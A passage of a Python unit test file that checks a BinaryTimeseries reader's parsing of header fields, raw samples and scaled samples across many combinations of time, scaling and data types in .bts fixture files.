with BinaryTimeseries('../src/test/resources/L_I_S.bts') as bts:
self.assertEqual(bts.get_dtype_time(), 4)
self.assertEqual(bts.get_t0(), np.int64(13.0))
self.assertEqual(bts.get_dt(), np.int64(37.0))
self.assertEqual(bts.get_dtype_scaling(), 3)
self.assertEqual(bts.get_offset(), np.int32(1.2))
self.assertEqual(bts.get_scale(), np.int32(24.3))
self.assertEqual(bts.get_dtype_data(), 2)
self.assertEqual(bts.get_num_samples(), 10)
self.assertTrue(np.allclose(bts.get_raw(), raw_data))
self.assertTrue(np.allclose(bts.get_scaled(), scaled_data))
def test_read_L_I_I(self):
raw_data = np.zeros([10], dtype=np.int32)
for i in range(10):
raw_data[i] = np.int32(o+i*s)
scaled_data = np.add(np.multiply(raw_data, np.int32(s), dtype=np.int64), np.int32(o))
with BinaryTimeseries('../src/test/resources/L_I_I.bts') as bts:
self.assertEqual(bts.get_dtype_time(), 4)
self.assertEqual(bts.get_t0(), np.int64(13.0))
self.assertEqual(bts.get_dt(), np.int64(37.0))
self.assertEqual(bts.get_dtype_scaling(), 3)
self.assertEqual(bts.get_offset(), np.int32(1.2))
self.assertEqual(bts.get_scale(), np.int32(24.3))
self.assertEqual(bts.get_dtype_data(), 3)
self.assertEqual(bts.get_num_samples(), 10)
self.assertTrue(np.allclose(bts.get_raw(), raw_data))
self.assertTrue(np.allclose(bts.get_scaled(), scaled_data))
def test_read_L_I_L(self):
raw_data = np.zeros([10], dtype=np.int64)
for i in range(10):
raw_data[i] = np.int64(o+i*s)
scaled_data = np.add(np.multiply(raw_data, np.int32(s), dtype=np.int64), np.int32(o))
with BinaryTimeseries('../src/test/resources/L_I_L.bts') as bts:
self.assertEqual(bts.get_dtype_time(), 4)
self.assertEqual(bts.get_t0(), np.int64(13.0))
self.assertEqual(bts.get_dt(), np.int64(37.0))
self.assertEqual(bts.get_dtype_scaling(), 3)
self.assertEqual(bts.get_offset(), np.int32(1.2))
self.assertEqual(bts.get_scale(), np.int32(24.3))
self.assertEqual(bts.get_dtype_data(), 4)
self.assertEqual(bts.get_num_samples(), 10)
self.assertTrue(np.allclose(bts.get_raw(), raw_data))
self.assertTrue(np.allclose(bts.get_scaled(), scaled_data))
def test_read_L_I_F(self):
raw_data = np.zeros([10], dtype=np.float32)
for i in range(10):
raw_data[i] = np.float32(o+i*s)
scaled_data = np.add(np.multiply(raw_data, np.int32(s), dtype=np.float64), np.int32(o))
with BinaryTimeseries('../src/test/resources/L_I_F.bts') as bts:
self.assertEqual(bts.get_dtype_time(), 4)
self.assertEqual(bts.get_t0(), np.int64(13.0))
self.assertEqual(bts.get_dt(), np.int64(37.0))
self.assertEqual(bts.get_dtype_scaling(), 3)
self.assertEqual(bts.get_offset(), np.int32(1.2))
self.assertEqual(bts.get_scale(), np.int32(24.3))
self.assertEqual(bts.get_dtype_data(), 5)
self.assertEqual(bts.get_num_samples(), 10)
self.assertTrue(np.allclose(bts.get_raw(), raw_data))
self.assertTrue(np.allclose(bts.get_scaled(), scaled_data))
def test_read_L_I_D(self):
raw_data = np.zeros([10], dtype=np.float64)
for i in range(10):
raw_data[i] = np.float64(o+i*s)
scaled_data = np.add(np.multiply(raw_data, np.int32(s), dtype=np.float64), np.int32(o))
with BinaryTimeseries('../src/test/resources/L_I_D.bts') as bts:
self.assertEqual(bts.get_dtype_time(), 4)
self.assertEqual(bts.get_t0(), np.int64(13.0))
self.assertEqual(bts.get_dt(), np.int64(37.0))
self.assertEqual(bts.get_dtype_scaling(), 3)
self.assertEqual(bts.get_offset(), np.int32(1.2))
self.assertEqual(bts.get_scale(), np.int32(24.3))
self.assertEqual(bts.get_dtype_data(), 6)
self.assertEqual(bts.get_num_samples(), 10)
self.assertTrue(np.allclose(bts.get_raw(), raw_data))
self.assertTrue(np.allclose(bts.get_scaled(), scaled_data))
def test_read_L_L_B(self):
raw_data = np.zeros([10], dtype=np.int8)
for i in range(10):
raw_data[i] = np.int8(o+i*s)
scaled_data = np.add(np.multiply(raw_data, np.int64(s), dtype=np.int64), np.int64(o))
with BinaryTimeseries('../src/test/resources/L_L_B.bts') as bts:
self.assertEqual(bts.get_dtype_time(), 4)
self.assertEqual(bts.get_t0(), np.int64(13.0))
self.assertEqual(bts.get_dt(), np.int64(37.0))
self.assertEqual(bts.get_dtype_scaling(), 4)
self.assertEqual(bts.get_offset(), np.int64(1.2))
self.assertEqual(bts.get_scale(), np.int64(24.3))
self.assertEqual(bts.get_dtype_data(), 1)
self.assertEqual(bts.get_num_samples(), 10)
self.assertTrue(np.allclose(bts.get_raw(), raw_data))
self.assertTrue(np.allclose(bts.get_scaled(), scaled_data))
def test_read_L_L_S(self):
raw_data = np.zeros([10], dtype=np.int16)
for i in range(10):
raw_data[i] = np.int16(o+i*s)
scaled_data = np.add(np.multiply(raw_data, np.int64(s), dtype=np.int64), np.int64(o))
with BinaryTimeseries('../src/test/resources/L_L_S.bts') as bts:
self.assertEqual(bts.get_dtype_time(), 4)
self.assertEqual(bts.get_t0(), np.int64(13.0))
self.assertEqual(bts.get_dt(), np.int64(37.0))
self.assertEqual(bts.get_dtype_scaling(), 4)
self.assertEqual(bts.get_offset(), np.int64(1.2))
self.assertEqual(bts.get_scale(), np.int64(24.3))
self.assertEqual(bts.get_dtype_data(), 2)
self.assertEqual(bts.get_num_samples(), 10)
self.assertTrue(np.allclose(bts.get_raw(), raw_data))
self.assertTrue(np.allclose(bts.get_scaled(), scaled_data))
def test_read_L_L_I(self):
raw_data = np.zeros([10], dtype=np.int32)
for i in range(10):
raw_data[i] = np.int32(o+i*s)
scaled_data = np.add(np.multiply(raw_data, np.int64(s), dtype=np.int64), np.int64(o))
with BinaryTimeseries('../src/test/resources/L_L_I.bts') as bts:
self.assertEqual(bts.get_dtype_time(), 4)
self.assertEqual(bts.get_t0(), np.int64(13.0))
self.assertEqual(bts.get_dt(), np.int64(37.0))
self.assertEqual(bts.get_dtype_scaling(), 4)
self.assertEqual(bts.get_offset(), np.int64(1.2))
self.assertEqual(bts.get_scale(), np.int64(24.3))
self.assertEqual(bts.get_dtype_data(), 3)
self.assertEqual(bts.get_num_samples(), 10)
self.assertTrue(np.allclose(bts.get_raw(), raw_data))
self.assertTrue(np.allclose(bts.get_scaled(), scaled_data))
def test_read_L_L_L(self):
raw_data = np.zeros([10], dtype=np.int64)
for i in range(10):
raw_data[i] = np.int64(o+i*s)
scaled_data = np.add(np.multiply(raw_data, np.int64(s), dtype=np.int64), np.int64(o))
with BinaryTimeseries('../src/test/resources/L_L_L.bts') as bts:
self.assertEqual(bts.get_dtype_time(), 4)
self.assertEqual(bts.get_t0(), np.int64(13.0))
self.assertEqual(bts.get_dt(), np.int64(37.0))
self.assertEqual(bts.get_dtype_scaling(), 4)
self.assertEqual(bts.get_offset(), np.int64(1.2))
self.assertEqual(bts.get_scale(), np.int64(24.3))
self.assertEqual(bts.get_dtype_data(), 4)
self.assertEqual(bts.get_num_samples(), 10)
self.assertTrue(np.allclose(bts.get_raw(), raw_data))
self.assertTrue(np.allclose(bts.get_scaled(), scaled_data))
def test_read_L_L_F(self):
raw_data = np.zeros([10], dtype=np.float32)
for i in range(10):
raw_data[i] = np.float32(o+i*s)
scaled_data = np.add(np.multiply(raw_data, np.int64(s), dtype=np.float64), np.int64(o))
with BinaryTimeseries('../src/test/resources/L_L_F.bts') as bts:
self.assertEqual(bts.get_dtype_time(), 4)
self.assertEqual(bts.get_t0(), np.int64(13.0))
self.assertEqual(bts.get_dt(), np.int64(37.0))
self.assertEqual(bts.get_dtype_scaling(), 4)
self.assertEqual(bts.get_offset(), np.int64(1.2))
self.assertEqual(bts.get_scale(), np.int64(24.3))
self.assertEqual(bts.get_dtype_data(), 5)
self.assertEqual(bts.get_num_samples(), 10)
self.assertTrue(np.allclose(bts.get_raw(), raw_data))
self.assertTrue(np.allclose(bts.get_scaled(), scaled_data))
def test_read_L_L_D(self):
raw_data = np.zeros([10], dtype=np.float64)
for i in range(10):
raw_data[i] = np.float64(o+i*s)
scaled_data = np.add(np.multiply(raw_data, np.int64(s), dtype=np.float64), np.int64(o))
with BinaryTimeseries('../src/test/resources/L_L_D.bts') as bts:
self.assertEqual(bts.get_dtype_time(), 4)
self.assertEqual(bts.get_t0(), np.int64(13.0))
self.assertEqual(bts.get_dt(), np.int64(37.0))
self.assertEqual(bts.get_dtype_scaling(), 4)
self.assertEqual(bts.get_offset(), np.int64(1.2))
self.assertEqual(bts.get_scale(), np.int64(24.3))
self.assertEqual(bts.get_dtype_data(), 6)
self.assertEqual(bts.get_num_samples(), 10)
self.assertTrue(np.allclose(bts.get_raw(), raw_data))
self.assertTrue(np.allclose(bts.get_scaled(), scaled_data))
def test_read_L_F_B(self):
raw_data = np.zeros([10], dtype=np.int8)
for i in range(10):
raw_data[i] = np.int8(o+i*s)
scaled_data = np.add(np.multiply(raw_data, np.float32(s), dtype=np.float64), np.float32(o))
with BinaryTimeseries('../src/test/resources/L_F_B.bts') as bts:
self.assertEqual(bts.get_dtype_time(), 4)
self.assertEqual(bts.get_t0(), np.int64(13.0))
self.assertEqual(bts.get_dt(), np.int64(37.0))
self.assertEqual(bts.get_dtype_scaling(), 5)
self.assertEqual(bts.get_offset(), np.float32(1.2))
self.assertEqual(bts.get_scale(), np.float32(24.3))
self.assertEqual(bts.get_dtype_data(), 1)
self.assertEqual(bts.get_num_samples(), 10)
self.assertTrue(np.allclose(bts.get_raw(), raw_data))
self.assertTrue(np.allclose(bts.get_scaled(), scaled_data))
def test_read_L_F_S(self):
raw_data = np.zeros([10], dtype=np.int16)
for i in range(10):
raw_data[i] = np.int16(o+i*s)
scaled_data = np.add(np.multiply(raw_data, np.float32(s), dtype=np.float64), np.float32(o))
with BinaryTimeseries('../src/test/resources/L_F_S.bts') as bts:
self.assertEqual(bts.get_dtype_time(), 4)
self.assertEqual(bts.get_t0(), np.int64(13.0))
self.assertEqual(bts.get_dt(), np.int64(37.0))
self.assertEqual(bts.get_dtype_scaling(), 5)
self.assertEqual(bts.get_offset(), np.float32(1.2))
self.assertEqual(bts.get_scale(), np.float32(24.3))
self.assertEqual(bts.get_dtype_data(), 2)
self.assertEqual(bts.get_num_samples(), 10)
self.assertTrue(np.allclose(bts.get_raw(), raw_data))
self.assertTrue(np.allclose(bts.get_scaled(), scaled_data))
def test_read_L_F_I(self):
raw_data = np.zeros([10], dtype=np.int32)
for i in range(10):
raw_data[i] = np.int32(o+i*s)
scaled_data = np.add(np.multiply(raw_data, np.float32(s), dtype=np.float64), np.float32(o))
with BinaryTimeseries('../src/test/resources/L_F_I.bts') as bts:
self.assertEqual(bts.get_dtype_time(), 4)
self.assertEqual(bts.get_t0(), np.int64(13.0))
self.assertEqual(bts.get_dt(), np.int64(37.0))
self.assertEqual(bts.get_dtype_scaling(), 5)
self.assertEqual(bts.get_offset(), np.float32(1.2))
self.assertEqual(bts.get_scale(), np.float32(24.3))
self.assertEqual(bts.get_dtype_data(), 3)
self.assertEqual(bts.get_num_samples(), 10)
self.assertTrue(np.allclose(bts.get_raw(), raw_data))
self.assertTrue(np.allclose(bts.get_scaled(), scaled_data))
def test_read_L_F_L(self):
raw_data = np.zeros([10], dtype=np.int64)
for i in range(10):
raw_data[i] = np.int64(o+i*s)
scaled_data = np.add(np.multiply(raw_data, np.float32(s), dtype=np.float64), np.float32(o))
with BinaryTimeseries('../src/test/resources/L_F_L.bts') as bts:
self.assertEqual(bts.get_dtype_time(), 4)
self.assertEqual(bts.get_t0(), np.int64(13.0))
self.assertEqual(bts.get_dt(), np.int64(37.0))
self.assertEqual(bts.get_dtype_scaling(), 5)
self.assertEqual(bts.get_offset(), np.float32(1.2))
self.assertEqual(bts.get_scale(), np.float32(24.3))
self.assertEqual(bts.get_dtype_data(), 4)
self.assertEqual(bts.get_num_samples(), 10)
self.assertTrue(np.allclose(bts.get_raw(), raw_data))
self.assertTrue(np.allclose(bts.get_scaled(), scaled_data))
def test_read_L_F_F(self):
raw_data = np.zeros([10], dtype=np.float32)
for i in range(10):
raw_data[i] = np.float32(o+i*s)
scaled_data = np.add(np.multiply(raw_data, np.float32(s), dtype=np.float64), np.float32(o))
with BinaryTimeseries('../src/test/resources/L_F_F.bts') as bts:
self.assertEqual(bts.get_dtype_time(), 4)
self.assertEqual(bts.get_t0(), np.int64(13.0))
self.assertEqual(bts.get_dt(), np.int64(37.0))
self.assertEqual(bts.get_dtype_scaling(), 5)
self.assertEqual(bts.get_offset(), np.float32(1.2))
self.assertEqual(bts.get_scale(), np.float32(24.3))
self.assertEqual(bts.get_dtype_data(), 5)
self.assertEqual(bts.get_num_samples(), 10)
self.assertTrue(np.allclose(bts.get_raw(), raw_data))
self.assertTrue(np.allclose(bts.get_scaled(), scaled_data))
def test_read_L_F_D(self):
raw_data = np.zeros([10], dtype=np.float64)
for i in range(10):
raw_data[i] = np.float64(o+i*s)
scaled_data = np.add(np.multiply(raw_data, np.float32(s), dtype=np.float64), np.float32(o))
with BinaryTimeseries('../src/test/resources/L_F_D.bts') as bts:
self.assertEqual(bts.get_dtype_time(), 4)
self.assertEqual(bts.get_t0(), np.int64(13.0))
self.assertEqual(bts.get_dt(), np.int64(37.0))
self.assertEqual(bts.get_dtype_scaling(), 5)
self.assertEqual(bts.get_offset(), np.float32(1.2))
self.assertEqual(bts.get_scale(), np.float32(24.3))
self.assertEqual(bts.get_dtype_data(), 6)
self.assertEqual(bts.get_num_samples(), 10)
self.assertTrue(np.allclose(bts.get_raw(), raw_data))
self.assertTrue(np.allclose(bts.get_scaled(), scaled_data))
def test_read_L_D_B(self):
raw_data = np.zeros([10], dtype=np.int8)
for i in range(10):
raw_data[i] = np.int8(o+i*s)
scaled_data = np.add(np.multiply(raw_data, np.float64(s), dtype=np.float64), np.float64(o))
with BinaryTimeseries('../src/test/resources/L_D_B.bts') as bts:
self.assertEqual(bts.get_dtype_time(), 4)
self.assertEqual(bts.get_t0(), np.int64(13.0))
self.assertEqual(bts.get_dt(), np.int64(37.0))
self.assertEqual(bts.get_dtype_scaling(), 6)
self.assertEqual(bts.get_offset(), np.float64(1.2))
self.assertEqual(bts.get_scale(), np.float64(24.3))
self.assertEqual(bts.get_dtype_data(), 1)
self.assertEqual(bts.get_num_samples(), 10)
self.assertTrue(np.allclose(bts.get_raw(), raw_data))
self.assertTrue(np.allclose(bts.get_scaled(), scaled_data))
def test_read_L_D_S(self):
raw_data = np.zeros([10], dtype=np.int16)
for i in range(10):
raw_data[i] = np.int16(o+i*s)
scaled_data = np.add(np.multiply(raw_data, np.float64(s), dtype=np.float64), np.float64(o))
with BinaryTimeseries('../src/test/resources/L_D_S.bts') as bts:
self.assertEqual(bts.get_dtype_time(), 4)
self.assertEqual(bts.get_t0(), np.int64(13.0))
self.assertEqual(bts.get_dt(), np.int64(37.0))
self.assertEqual(bts.get_dtype_scaling(), 6)
self.assertEqual(bts.get_offset(), np.float64(1.2))
self.assertEqual(bts.get_scale(), np.float64(24.3))
self.assertEqual(bts.get_dtype_data(), 2)
self.assertEqual(bts.get_num_samples(), 10)
self.assertTrue(np.allclose(bts.get_raw(), raw_data))
self.assertTrue(np.allclose(bts.get_scaled(), scaled_data))
def test_read_L_D_I(self):
raw_data = np.zeros([10], dtype=np.int32)
for i in range(10):
raw_data[i] = np.int32(o+i*s)
scaled_data = np.add(np.multiply(raw_data, np.float64(s), dtype=np.float64), np.float64(o))
with BinaryTimeseries('../src/test/resources/L_D_I.bts') as bts:
self.assertEqual(bts.get_dtype_time(), 4)
self.assertEqual(bts.get_t0(), np.int64(13.0))
self.assertEqual(bts.get_dt(), np.int64(37.0))
self.assertEqual(bts.get_dtype_scaling(), 6)
self.assertEqual(bts.get_offset(), np.float64(1.2))
self.assertEqual(bts.get_scale(), np.float64(24.3))
self.assertEqual(bts.get_dtype_data(), 3)
self.assertEqual(bts.get_num_samples(), 10)
self.assertTrue(np.allclose(bts.get_raw(), raw_data))
self.assertTrue(np.allclose(bts.get_scaled(), scaled_data))
def test_read_L_D_L(self):
raw_data = np.zeros([10], dtype=np.int64)
for i in range(10):
raw_data[i] = np.int64(o+i*s)
scaled_data = np.add(np.multiply(raw_data, np.float64(s), dtype=np.float64), np.float64(o))
with BinaryTimeseries('../src/test/resources/L_D_L.bts') as bts:
self.assertEqual(bts.get_dtype_time(), 4)
self.assertEqual(bts.get_t0(), np.int64(13.0))
self.assertEqual(bts.get_dt(), np.int64(37.0))
self.assertEqual(bts.get_dtype_scaling(), 6)
self.assertEqual(bts.get_offset(), np.float64(1.2))
self.assertEqual(bts.get_scale(), np.float64(24.3))
self.assertEqual(bts.get_dtype_data(), 4)
self.assertEqual(bts.get_num_samples(), 10)
self.assertTrue(np.allclose(bts.get_raw(), raw_data))
self.assertTrue(np.allclose(bts.get_scaled(), scaled_data))
def test_read_L_D_F(self):
raw_data = np.zeros([10], dtype=np.float32)
for i in range(10):
raw_data[i] = np.float32(o+i*s)
scaled_data = np.add(np.multiply(raw_data, np.float64(s), dtype=np.float64), np.float64(o))
with BinaryTimeseries('../src/test/resources/L_D_F.bts') as bts:
self.assertEqual(bts.get_dtype_time(), 4)
self.assertEqual(bts.get_t0(), np.int64(13.0))
self.assertEqual(bts.get_dt(), np.int64(37.0))
self.assertEqual(bts.get_dtype_scaling(), 6)
self.assertEqual(bts.get_offset(), np.float64(1.2))
self.assertEqual(bts.get_scale(), np.float64(24.3))
self.assertEqual(bts.get_dtype_data(), 5)
self.assertEqual(bts.get_num_samples(), 10)
self.assertTrue(np.allclose(bts.get_raw(), raw_data))
self.assertTrue(np.allclose(bts.get_scaled(), scaled_data))
def test_read_L_D_D(self):
raw_data = np.zeros([10], dtype=np.float64)
for i in range(10):
raw_data[i] = np.float64(o+i*s)
scaled_data = np.add(np.multiply(raw_data, np.float64(s), dtype=np.float64), np.float64(o))
with BinaryTimeseries('../src/test/resources/L_D_D.bts') as bts:
self.assertEqual(bts.get_dtype_time(), 4)
self.assertEqual(bts.get_t0(), np.int64(13.0))
self.assertEqual(bts.get_dt(), np.int64(37.0))
self.assertEqual(bts.get_dtype_scaling(), 6)
self.assertEqual(bts.get_offset(), np.float64(1.2))
self.assertEqual(bts.get_scale(), np.float64(24.3))
self.assertEqual(bts.get_dtype_data(), 6)
self.assertEqual(bts.get_num_samples(), 10)
self.assertTrue(np.allclose(bts.get_raw(), raw_data))
self.assertTrue(np.allclose(bts.get_scaled(), scaled_data))
def test_read_D_N_B(self):
raw_data = np.zeros([10], dtype=np.int8)
for i in range(10):
raw_data[i] = np.int8(o+i*s)
with BinaryTimeseries('../src/test/resources/D_N_B.bts') as bts:
self.assertEqual(bts.get_dtype_time(), 6)
self.assertEqual(bts.get_t0(), np.float64(13.0))
self.assertEqual(bts.get_dt(), np.float64(37.0))
self.assertEqual(bts.get_dtype_scaling(), 0)
self.assertEqual(bts.get_dtype_data(), 1)
self.assertEqual(bts.get_num_samples(), 10)
self.assertTrue(np.allclose(bts.get_raw(), raw_data))
def test_read_D_N_S(self):
raw_data = np.zeros([10], dtype=np.int16)
for i in range(10):
raw_data[i] = np.int16(o+i*s)
with BinaryTimeseries('../src/test/resources/D_N_S.bts') as bts:
self.assertEqual(bts.get_dtype_time(), 6)
self.assertEqual(bts.get_t0(), np.float64(13.0))
self.assertEqual(bts.get_dt(), np.float64(37.0))
self.assertEqual(bts.get_dtype_scaling(), 0)
self.assertEqual(bts.get_dtype_data(), 2)
self.assertEqual(bts.get_num_samples(), 10)
self.assertTrue(np.allclose(bts.get_raw(), raw_data))
def test_read_D_N_I(self):
raw_data = np.zeros([10], dtype=np.int32)
for i in range(10):
raw_data[i] = np.int32(o+i*s)
with BinaryTimeseries('../src/test/resources/D_N_I.bts') as bts:
self.assertEqual(bts.get_dtype_time(), 6)
self.assertEqual(bts.get_t0(), np.float64(13.0))
self.assertEqual(bts.get_dt(), np.float64(37.0))
self.assertEqual(bts.get_dtype_scaling(), 0)
self.assertEqual(bts.get_dtype_data(), 3)
self.assertEqual(bts.get_num_samples(), 10)
self.assertTrue(np.allclose(bts.get_raw(), raw_data))
def test_read_D_N_L(self):
raw_data = np.zeros([10], dtype=np.int64)
for i in range(10):
raw_data[i] = np.int64(o+i*s)
with BinaryTimeseries('../src/test/resources/D_N_L.bts') as bts:
self.assertEqual(bts.get_dtype_time(), 6)
self.assertEqual(bts.get_t0(), np.float64(13.0))
self.assertEqual(bts.get_dt(), np.float64(37.0))
self.assertEqual(bts.get_dtype_scaling(), 0)
self.assertEqual(bts.get_dtype_data(), 4)
self.assertEqual(bts.get_num_samples(), 10)
self.assertTrue(np.allclose(bts.get_raw(), raw_data))
def test_read_D_N_F(self):
raw_data = np.zeros([10], dtype=np.float32)
for i in range(10):
raw_data[i] = np.float32(o+i*s)
with BinaryTimeseries('../src/test/resources/D_N_F.bts') as bts:
self.assertEqual(bts.get_dtype_time(), 6)
self.assertEqual(bts.get_t0(), np.float64(13.0))
self.assertEqual(bts.get_dt(), np.float64(37.0))
self.assertEqual(bts.get_dtype_scaling(), 0)
self.assertEqual(bts.get_dtype_data(), 5)
self.assertEqual(bts.get_num_samples(), 10)
self.assertTrue(np.allclose(bts.get_raw(), raw_data))
def test_read_D_N_D(self):
raw_data = np.zeros([10], dtype=np.float64)
for i in range(10):
raw_data[i] = np.float64(o+i*s)
with BinaryTimeseries('../src/test/resources/D_N_D.bts') as bts:
self.assertEqual(bts.get_dtype_time(), 6)
self.assertEqual(bts.get_t0(), np.float64(13.0))
self.assertEqual(bts.get_dt(), np.float64(37.0))
self.assertEqual(bts.get_dtype_scaling(), 0)
self.assertEqual(bts.get_dtype_data(), 6)
self.assertEqual(bts.get_num_samples(), 10)
self.assertTrue(np.allclose(bts.get_raw(), raw_data))
def test_read_D_B_B(self):
raw_data = np.zeros([10], dtype=np.int8)
for i in range(10):
raw_data[i] = np.int8(o+i*s)
scaled_data = np.add(np.multiply(raw_data, np.int8(s), dtype=np.int64), np.int8(o))
with BinaryTimeseries('../src/test/resources/D_B_B.bts') as bts:
self.assertEqual(bts.get_dtype_time(), 6)
self.assertEqual(bts.get_t0(), np.float64(13.0))
self.assertEqual(bts.get_dt(), np.float64(37.0))
self.assertEqual(bts.get_dtype_scaling(), 1)
self.assertEqual(bts.get_offset(), np.int8(1.2))
self.assertEqual(bts.get_scale(), np.int8(24.3))
self.assertEqual(bts.get_dtype_data(), 1)
self.assertEqual(bts.get_num_samples(), 10)
self.assertTrue(np.allclose(bts.get_raw(), raw_data))
self.assertTrue(np.allclose(bts.get_scaled(), scaled_data))
def test_read_D_B_S(self):
raw_data = np.zeros([10], dtype=np.int16)
for i in range(10):
raw_data[i] = np.int16(o+i*s)
scaled_data = np.add(np.multiply(raw_data, np.int8(s), dtype=np.int64), np.int8(o))
with BinaryTimeseries('../src/test/resources/D_B_S.bts') as bts:
self.assertEqual(bts.get_dtype_time(), 6)
self.assertEqual(bts.get_t0(), np.float64(13.0))
self.assertEqual(bts.get_dt(), np.float64(37.0))
self.assertEqual(bts.get_dtype_scaling(), 1)
self.assertEqual(bts.get_offset(), np.int8(1.2))
self.assertEqual(bts.get_scale(), np.int8(24.3))
self.assertEqual(bts.get_dtype_data(), 2)
self.assertEqual(bts.get_num_samples(), 10)
self.assertTrue(np.allclose(bts.get_raw(), raw_data))
self.assertTrue(np.allclose(bts.get_scaled(), scaled_data))
def test_read_D_B_I(self):
raw_data = np.zeros([10], dtype=np.int32)
for i in range(10):
raw_data[i] = np.int32(o+i*s)
scaled_data = np.add(np.multiply(raw_data, np.int8(s), dtype=np.int64), np.int8(o))
with BinaryTimeseries('../src/test/resources/D_B_I.bts') as bts:
self.assertEqual(bts.get_dtype_time(), 6)
self.assertEqual(bts.get_t0(), np.float64(13.0))
self.assertEqual(bts.get_dt(), np.float64(37.0))
self.assertEqual(bts.get_dtype_scaling(), 1)
self.assertEqual(bts.get_offset(), np.int8(1.2))
self.assertEqual(bts.get_scale(), np.int8(24.3))
self.assertEqual(bts.get_dtype_data(), 3)
self.assertEqual(bts.get_num_samples(), 10)
self.assertTrue(np.allclose(bts.get_raw(), raw_data))
self.assertTrue(np.allclose(bts.get_scaled(), scaled_data))
def test_read_D_B_L(self):
raw_data = np.zeros([10], dtype=np.int64)
for i in range(10):
raw_data[i] = np.int64(o+i*s)
scaled_data = np.add(np.multiply(raw_data, np.int8(s), dtype=np.int64), np.int8(o))
with BinaryTimeseries('../src/test/resources/D_B_L.bts') as bts:
self.assertEqual(bts.get_dtype_time(), 6)
self.assertEqual(bts.get_t0(), np.float64(13.0))
self.assertEqual(bts.get_dt(), np.float64(37.0))
self.assertEqual(bts.get_dtype_scaling(), 1)
self.assertEqual(bts.get_offset(), np.int8(1.2))
self.assertEqual(bts.get_scale(), np.int8(24.3))
self.assertEqual(bts.get_dtype_data(), 4)
self.assertEqual(bts.get_num_samples(), 10)
self.assertTrue(np.allclose(bts.get_raw(), raw_data))
self.assertTrue(np.allclose(bts.get_scaled(), scaled_data))
def test_read_D_B_F(self):
raw_data = np.zeros([10], dtype=np.float32)
for i in range(10):
raw_data[i] = np.float32(o+i*s)
scaled_data = np.add(np.multiply(raw_data, np.int8(s), dtype=np.float64), np.int8(o))
with BinaryTimeseries('../src/test/resources/D_B_F.bts') as bts:
self.assertEqual(bts.get_dtype_time(), 6)
self.assertEqual(bts.get_t0(), np.float64(13.0))
self.assertEqual(bts.get_dt(), np.float64(37.0))
self.assertEqual(bts.get_dtype_scaling(), 1)
self.assertEqual(bts.get_offset(), np.int8(1.2))
self.assertEqual(bts.get_scale(), np.int8(24.3))
self.assertEqual(bts.get_dtype_data(), 5)
self.assertEqual(bts.get_num_samples(), 10)
self.assertTrue(np.allclose(bts.get_raw(), raw_data))
self.assertTrue(np.allclose(bts.get_scaled(), scaled_data))
def test_read_D_B_D(self):
raw_data = np.zeros([10], dtype=np.float64)
for i in range(10):
raw_data[i] = np.float64(o+i*s)
scaled_data = np.add(np.multiply(raw_data, np.int8(s), dtype=np.float64), np.int8(o))
with BinaryTimeseries('../src/test/resources/D_B_D.bts') as bts:
self.assertEqual(bts.get_dtype_time(), 6)
self.assertEqual(bts.get_t0(), np.float64(13.0))
self.assertEqual(bts.get_dt(), np.float64(37.0))
self.assertEqual(bts.get_dtype_scaling(), 1)
self.assertEqual(bts.get_offset(), np.int8(1.2))
self.assertEqual(bts.get_scale(), np.int8(24.3))
self.assertEqual(bts.get_dtype_data(), 6)
self.assertEqual(bts.get_num_samples(), 10)
self.assertTrue(np.allclose(bts.get_raw(), raw_data))
self.assertTrue(np.allclose(bts.get_scaled(), scaled_data))
def test_read_D_S_B(self):
raw_data = np.zeros([10], dtype=np.int8)
for i in range(10):
raw_data[i] = np.int8(o+i*s)
scaled_data = np.add(np.multiply(raw_data, np.int16(s), dtype=np.int64), np.int16(o))
with BinaryTimeseries('../src/test/resources/D_S_B.bts') as bts:
self.assertEqual(bts.get_dtype_time(), 6)
self.assertEqual(bts.get_t0(), np.float64(13.0))
self.assertEqual(bts.get_dt(), np.float64(37.0))
self.assertEqual(bts.get_dtype_scaling(), 2)
self.assertEqual(bts.get_offset(), np.int16(1.2))
self.assertEqual(bts.get_scale(), np.int16(24.3))
self.assertEqual(bts.get_dtype_data(), 1)
self.assertEqual(bts.get_num_samples(), 10)
self.assertTrue(np.allclose(bts.get_raw(), raw_data))
self.assertTrue(np.allclose(bts.get_scaled(), scaled_data))
def test_read_D_S_S(self):
raw_data = np.zeros([10], dtype=np.int16)
for i in range(10):
raw_data[i] = np.int16(o+i*s)
scaled_data = np.add(np.multiply(raw_data, np.int16(s), dtype=np.int64), np.int16(o))
with BinaryTimeseries('../src/test/resources/D_S_S.bts') as bts:
self.assertEqual(bts.get_dtype_time(), 6)
self.assertEqual(bts.get_t0(), np.float64(13.0))
self.assertEqual(bts.get_dt(), np.float64(37.0))
self.assertEqual(bts.get_dtype_scaling(), 2)
self.assertEqual(bts.get_offset(), np.int16(1.2))
self.assertEqual(bts.get_scale(), np.int16(24.3))
self.assertEqual(bts.get_dtype_data(), 2)
self.assertEqual(bts.get_num_samples(), 10)
self.assertTrue(np.allclose(bts.get_raw(), raw_data))
self.assertTrue(np.allclose(bts.get_scaled(), scaled_data))
def test_read_D_S_I(self):
raw_data = np.zeros([10], dtype=np.int32)
for i in range(10):
raw_data[i] = np.int32(o+i*s)
scaled_data = np.add(np.multiply(raw_data, np.int16(s), dtype=np.int64), np.int16(o))
with BinaryTimeseries('../src/test/resources/D_S_I.bts') as bts:
self.assertEqual(bts.get_dtype_time(), 6)
self.assertEqual(bts.get_t0(), np.float64(13.0))
self.assertEqual(bts.get_dt(), np.float64(37.0))
self.assertEqual(bts.get_dtype_scaling(), 2)
self.assertEqual(bts.get_offset(), np.int16(1.2))
self.assertEqual(bts.get_scale(), np.int16(24.3))
self.assertEqual(bts.get_dtype_data(), 3)
self.assertEqual(bts.get_num_samples(), 10)
self.assertTrue(np.allclose(bts.get_raw(), raw_data))
self.assertTrue(np.allclose(bts.get_scaled(), scaled_data))
def test_read_D_S_L(self):
raw_data = np.zeros([10], dtype=np.int64)
for i in range(10):
raw_data[i] = np.int64(o+i*s)
scaled_data = np.add(np.multiply(raw_data, np.int16(s), dtype=np.int64), np.int16(o))
with BinaryTimeseries('../src/test/resources/D_S_L.bts') as bts:
self.assertEqual(bts.get_dtype_time(), 6)
self.assertEqual(bts.get_t0(), np.float64(13.0))
self.assertEqual(bts.get_dt(), np.float64(37.0))
self.assertEqual(bts.get_dtype_scaling(), 2)
self.assertEqual(bts.get_offset(), np.int16(1.2))
self.assertEqual(bts.get_scale(), np.int16(24.3))
self.assertEqual(bts.get_dtype_data(), 4)
self.assertEqual(bts.get_num_samples(), 10)
self.assertTrue(np.allclose(bts.get_raw(), raw_data))
